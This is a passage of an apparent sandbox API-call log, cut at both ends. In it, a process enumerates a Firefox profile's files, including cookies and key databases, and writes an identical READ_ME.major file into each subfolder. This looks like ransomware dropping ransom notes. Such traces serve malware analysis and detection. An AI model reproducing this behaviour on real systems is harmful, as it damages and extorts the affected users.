ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfea98376, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfea98376, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x291, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="addonStartup.json.lz4", cAlternateFileName="ADDONS~1.LZ4")) returned 1 [0229.600] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143f0f49, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x143f0f49, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AlternateServices.txt", cAlternateFileName="ALTERN~1.TXT")) returned 1 [0229.600] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd843d8c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd843d8c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x200a4780, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x44669, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="blocklist.xml", cAlternateFileName="BLOCKL~1.XML")) returned 1 [0229.600] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9b352a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9b352a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe9b352a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="bookmarkbackups", cAlternateFileName="BOOKMA~1")) returned 1 [0229.601] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\bookmarkbackups\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\bookmarkbackups\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0229.602] WriteFile (in: hFile=0x1a34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.603] CloseHandle (hObject=0x1a34) returned 1 [0229.603] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe645e15, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe645e15, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="cert8.db", cAlternateFileName="")) returned 1 [0229.603] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x400ce751, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xc7, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="compatibility.ini", cAlternateFileName="COMPAT~1.INI")) returned 1 [0229.603] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9a54e3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xff9a54e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xff9a54e3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x329, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="containers.json", cAlternateFileName="CONTAI~1.JSO")) returned 1 [0229.603] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff97f27a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xff97f27a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x439749, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="content-prefs.sqlite", cAlternateFileName="CONTEN~1.SQL")) returned 1 [0229.603] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ef1bce, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1ef1bce, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="cookies.sqlite", cAlternateFileName="COOKIE~1.SQL")) returned 1 [0229.603] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x2923a75e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2923a75e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="crashes", cAlternateFileName="")) returned 1 [0229.603] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\crashes\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\crashes\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0229.605] WriteFile (in: hFile=0x1a34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.605] CloseHandle (hObject=0x1a34) returned 1 [0229.606] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2d6a08c7, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb844f993, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="datareporting", cAlternateFileName="DATARE~1")) returned 1 [0229.606] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0229.707] WriteFile (in: hFile=0x1a34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.708] CloseHandle (hObject=0x1a34) returned 1 [0229.708] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe967070, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe967070, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe967070, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x292e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="extensions.json", cAlternateFileName="EXTENS~1.JSO")) returned 1 [0229.708] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd54ecc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdd54ecc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x145311ab, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x500000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="favicons.sqlite", cAlternateFileName="FAVICO~1.SQL")) returned 1 [0229.708] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x72e7b76, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="favicons.sqlite-shm", cAlternateFileName="FAVICO~3.SQL")) returned 1 [0229.708] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x45aebce0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x901d0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="favicons.sqlite-wal", cAlternateFileName="FAVICO~2.SQL")) returned 1 [0229.708] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbd76e4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdbd76e4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="gmp", cAlternateFileName="")) returned 1 [0229.708] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0229.709] WriteFile (in: hFile=0x1a34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.709] CloseHandle (hObject=0x1a34) returned 1 [0229.710] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40c4b15, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40c4b15, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40c5e7c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="gmp-gmpopenh264", cAlternateFileName="GMP-GM~1")) returned 1 [0229.710] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-gmpopenh264\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-gmpopenh264\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0229.712] WriteFile (in: hFile=0x1a34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.712] CloseHandle (hObject=0x1a34) returned 1 [0229.713] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5af7cc2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5af7cc2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5af7cc2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="gmp-widevinecdm", cAlternateFileName="GMP-WI~1")) returned 1 [0229.713] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0229.714] WriteFile (in: hFile=0x1a34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.715] CloseHandle (hObject=0x1a34) returned 1 [0229.715] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2edfb3e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2edfb3e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x2ee0ebb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="handlers.json", cAlternateFileName="HANDLE~1.JSO")) returned 1 [0229.715] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6922fa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe6922fa, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="key3.db", cAlternateFileName="")) returned 1 [0229.715] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="minidumps", cAlternateFileName="MINIDU~1")) returned 1 [0229.715] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\minidumps\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\minidumps\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0229.716] WriteFile (in: hFile=0x1a34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.718] CloseHandle (hObject=0x1a34) returned 1 [0229.718] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x6f2e0a0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="parent.lock", cAlternateFileName="PARENT~1.LOC")) returned 1 [0229.718] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd67a0d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfd67a0d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfd7d1832, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="permissions.sqlite", cAlternateFileName="PERMIS~1.SQL")) returned 1 [0229.718] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd54ecc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdd54ecc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x42fefdeb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x500000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="places.sqlite", cAlternateFileName="PLACES~1.SQL")) returned 1 [0229.718] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x72e7b76, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="places.sqlite-shm", cAlternateFileName="PLACES~3.SQL")) returned 1 [0229.718] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xb8154a58, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x208638, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="places.sqlite-wal", cAlternateFileName="PLACES~2.SQL")) returned 1 [0229.718] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40cce7aa, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x40cce7aa, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x40ccfb2d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="pluginreg.dat", cAlternateFileName="PLUGIN~1.DAT")) returned 1 [0229.718] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8285d1c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8285d1c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x93d01742, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x1fcd, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="prefs.js", cAlternateFileName="")) returned 1 [0229.718] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b3a3980, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b3a3980, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b3a3980, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0229.719] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1472dc0f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8d8cb9a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="saved-telemetry-pings", cAlternateFileName="SAVED-~1")) returned 1 [0229.719] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\saved-telemetry-pings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\saved-telemetry-pings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0229.719] WriteFile (in: hFile=0x1a34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.720] CloseHandle (hObject=0x1a34) returned 1 [0229.720] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4731d65, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4731d65, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x47330f8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x36e8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="search.json.mozlz4", cAlternateFileName="SEARCH~1.MOZ")) returned 1 [0229.720] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe5f9955, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe5f9955, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe645e15, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="secmod.db", cAlternateFileName="")) returned 1 [0229.721] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143f0f49, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x143f0f49, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SecurityPreloadState.txt", cAlternateFileName="SECURI~1.TXT")) returned 1 [0229.721] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e0d6ab, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8154a58, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8154a58, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x120, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="sessionCheckpoints.json", cAlternateFileName="SESSIO~1.JSO")) returned 1 [0229.721] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6368e07, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7794358d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb7ea601f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, 